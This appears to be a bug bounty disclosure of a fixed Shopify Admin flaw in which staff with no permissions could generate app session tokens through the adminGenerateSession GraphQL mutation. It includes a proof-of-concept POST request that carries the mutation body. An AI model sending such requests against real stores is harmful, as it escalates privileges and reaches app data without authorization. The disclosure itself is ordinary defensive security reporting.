GraphQL AdminGenerateSessionPayload is leaked to staff with no permission

Summary

@hiffley reported the ability to generate app tokens via the adminGenerateSession mutation in Shopify Admin, as a staff member with no permissions. This allowed for accessing a small subset of installed apps that are using this new flow (including Shopify Email). Access was limited to the current shop. We fixed this by adding a check for Apps permission to this mutation.

This is a limited disclosure at the request of @hiffley.

POC request:

POST /admin/internal/web/graphql/core HTTP/1.1
Host: blabla.myshopify.com
Content-Length: 225

{"operationName":"GenerateSessionToken","variables":{"appId":"gid://shopify/App/"},"query":"mutation GenerateSessionToken($appId: ID!) {\n  adminGenerateSession(appId: $appId) {\n    session\n    __typename\n  }\n}\n"}